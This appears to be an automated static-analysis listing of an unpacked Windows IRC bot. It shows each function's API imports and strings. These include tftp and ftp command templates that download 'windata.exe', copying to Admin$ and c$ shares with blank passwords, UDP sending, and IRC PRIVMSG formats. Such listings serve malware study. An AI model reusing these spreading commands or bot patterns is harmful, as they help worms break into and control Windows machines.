"The password is shorter than required ("...
"An unknown error occurred."
"The computer name is invalid."
"Share not found."
"The user name could not be found."
"Network connection not found."
|
sub_41F116(c884):
KERNEL32.GetModuleHandleA
KERNEL32.GetProcAddress
KERNEL32.ExitProcess
"mscoree.dll"
"CorExitProcess"
|
sub_41FEF7(cba9):
NTDLL.RtlUnwind
|
sub_41F87E(ccf0):
KERNEL32.GetSystemTimeAsFileTime
|
sub_41B24B(cd76):
KERNEL32.GetVersionExA
KERNEL32.LoadLibraryA
KERNEL32.GetProcAddress
KERNEL32.GetProcessHeap
KERNEL32.FreeLibrary
"netapi32.dll"
"NetMessageBufferSend"
|
sub_41776E(d1dc):
WS2_32.WSASocketA
WS2_32.setsockopt
KERNEL32.GetTickCount
WS2_32.htons
WS2_32.socket
WS2_32.closesocket
WS2_32.inet_addr
WS2_32.htonl
WS2_32.sendto
KERNEL32.Sleep
" "
"%s%d "
|
sub_41C265(d43c):
"Username accounts for local system:"
" %S"
"Total users found: %d."
|
sub_402472(d47e):
WS2_32.send
WS2_32.closesocket
KERNEL32.Sleep
WS2_32.recv
"PASS %s\r\n"
|
sub_4023C9(daea):
WS2_32.getsockname
"%d.%d.%d.%d"
|
sub_40AF6E(dbdf):
KERNEL32.TerminateThread
WS2_32.closesocket
|
sub_40ECCD(dde9):
WS2_32.select
WS2_32.__WSAFDIsSet
WS2_32.recv
|
sub_40AC0D(e12c):
" get "
|
sub_4128A1(e141):
WS2_32.WSAStartup
WS2_32.socket
WS2_32.htons
WS2_32.connect
WS2_32.send
WS2_32.recv
WS2_32.closesocket
WS2_32.WSACleanup
"%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
|
sub_4022BD(e162):
WS2_32.inet_addr
WS2_32.gethostbyname
|
sub_41C3D9(e6ee):
KERNEL32.GetCurrentProcess
ADVAPI32.OpenProcessToken
ADVAPI32.LookupPrivilegeValueA
ADVAPI32.AdjustTokenPrivileges
KERNEL32.CloseHandle
|
sub_4183AB(e99b):
USER32.IsWindow
USER32.SendMessageA
USER32.DestroyWindow
"Window"
|
sub_4181B2(eacc):
USER32.IsWindow
USER32.SendMessageA
USER32.DestroyWindow
"Window"
|
sub_42820C(eaec):
KERNEL32.IsBadCodePtr
|
sub_41B325(ec5e):
KERNEL32.GetTickCount
|
sub_41B681(ed42):
ADVAPI32.OpenSCManagerA
ADVAPI32.EnumServicesStatusA
NTDLL.RtlGetLastWin32Error
ADVAPI32.CloseServiceHandle
"The following Windows services are regi"...
" Unknown"
" Paused"
" Pausing"
" Continuing"
" Running"
" Stoping"
" Starting"
" Stopped"
"%s: %s (%s)"
|
sub_4297E3(edbf):
"C"
"invalid string position"
|
sub_40C979(ef7b):
KERNEL32.MultiByteToWideChar
KERNEL32.Sleep
"\\\\"
|
sub_416F65(f07e):
KERNEL32.GetTickCount
WS2_32.socket
WS2_32.getsockname
WS2_32.inet_addr
WS2_32.htons
WS2_32.sendto
WS2_32.closesocket
"%d.%d.%d.%d"
|
sub_425882(f10d):
KERNEL32.WriteFile
NTDLL.RtlGetLastWin32Error
|
sub_401F92(f37a):
"Kernel32.dll failed. <%d>"
"User32.dll failed. <%d>"
"Advapi32.dll failed. <%d>"
"Gdi32.dll failed. <%d>"
"Ws2_32.dll failed. <%d>"
"Wininet.dll failed. <%d>"
"Icmp.dll failed. <%d>"
"Netapi32.dll failed. <%d>"
"Dnsapi.dll failed. <%d>"
"Iphlpapi.dll failed. <%d>"
"Mpr32.dll failed. <%d>"
"Shell32.dll failed. <%d>"
"Odbc32.dll failed. <%d>"
"Avicap32.dll failed. <%d>"
|
sub_41B128(f41b):
WS2_32.inet_addr
WS2_32.htons
WS2_32.socket
WS2_32.connect
WS2_32.recv
WS2_32.send
WS2_32.closesocket
"windata.exe"
"tftp -i %s get %s &%s\r\n"
"echo open %s %d > o&echo user 1 1 >> o "...
|
sub_40FDC3(f443):
KERNEL32.Sleep
KERNEL32.MultiByteToWideChar
KERNEL32.CopyFileA
NTDLL.RtlGetLastWin32Error
"Admin$\\system32"
"c$\\winnt\\system32"
"c$\\windows\\system32"
"c"
"d"
"windata.exe"
"%s\\%s\\%s"
"(no password)"
"NetBios"
|
sub_429B7E(f46d):
KERNEL32.LCMapStringW
NTDLL.RtlGetLastWin32Error
KERNEL32.WideCharToMultiByte
KERNEL32.LCMapStringA
KERNEL32.MultiByteToWideChar
|
sub_41A1C6(f54c):
WS2_32.socket
WS2_32.htons
WS2_32.inet_addr
WS2_32.gethostbyname
WS2_32.connect
WS2_32.closesocket
|
sub_40F5F6(f54d):
WS2_32.send
"C"
"GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
|
sub_410047(f61d):
KERNEL32.Sleep
|
sub_41C78D(f819):
KERNEL32.CloseHandle
|
sub_40FA56(f8d5):
"8a885d04-1ceb-11c9-9fe8-08002b104860"
|
sub_412135(fc28):
WS2_32.send
KERNEL32.FindFirstFileA
KERNEL32.FindNextFileA
KERNEL32.FileTimeToLocalFileTime
KERNEL32.FileTimeToSystemTime
KERNEL32.Sleep
KERNEL32.FindClose
"\n"
"PRIVMSG %s :Searching for: %s\r\n"
"\r\n\r\nIndex of %s</TIT"...
"<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
"<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
"<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
"<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
".."
"."
"PM"
"AM"
"%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
"<%s>"
"PRIVMSG %s :%-31s %-21s\n"
"<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
"%s%s/"
"\"><CODE>%.29s>/</CODE></A>"
"\"><CODE>%s/</CODE></A>"
"</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
"<%s>"
"%-31s %-21s\r\n"
"PRIVMSG %s :%-31s %-21s (%s bytes)\n"
"<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
"%s%s"
"\"><CODE>%.30s></CODE></A>"
"\"><CODE>%s</CODE></A>"
"</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
"%-31s %-21s (%i bytes)\r\n"
"PRIVMSG %s :Found %s Files and %s Direc"...
"<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
"Found: %i Files and %i Directories\r\n"
</font></pre></td></tr><tr id="sub_427108"><td><pre><a name="sub_427108"></a><a href="69688b90902b3d8a5a669817d2040feb_unpacked.asm.html#sub_427108"><font size=+2>sub_427108</a>(fdb6)</font>:<font color=darkgreen>
NTDLL.RtlSizeHeap</font>
<font color=brown></font></pre></td></tr><tr id="sub_41F1B0"><td><pre><a name="sub_41F1B0"></a><a href="69688b90902b3d8a5a669817d2040feb_unpacked.asm.html#sub_41F1B0"><font size=+2>sub_41F1B0</a>(ff2c)</font>:<font color=darkgreen>
KERNEL32.GetCurrentProcess
KERNEL32.TerminateProcess</font>
<font color=brown></font></pre></td></tr><tr id="sub_40AAE6"><td><pre><a name="sub_40AAE6"></a><a href="69688b90902b3d8a5a669817d2040feb_unpacked.asm.html#sub_40AAE6"><font size=+2>sub_40AAE6</a>(ff89)</font>:<font color=darkgreen>
KERNEL32.GetTickCount
USER32.FindWindowA</font>
<font color=brown>
"mIRC"
"[M]"
"[%d]%s"
"[M]"
</font></pre></td></tr></table><script>
document.getElementById(window.location.href.split('#')[1]).setAttribute("style", "background-color:#ddddff");
</script>
</html> |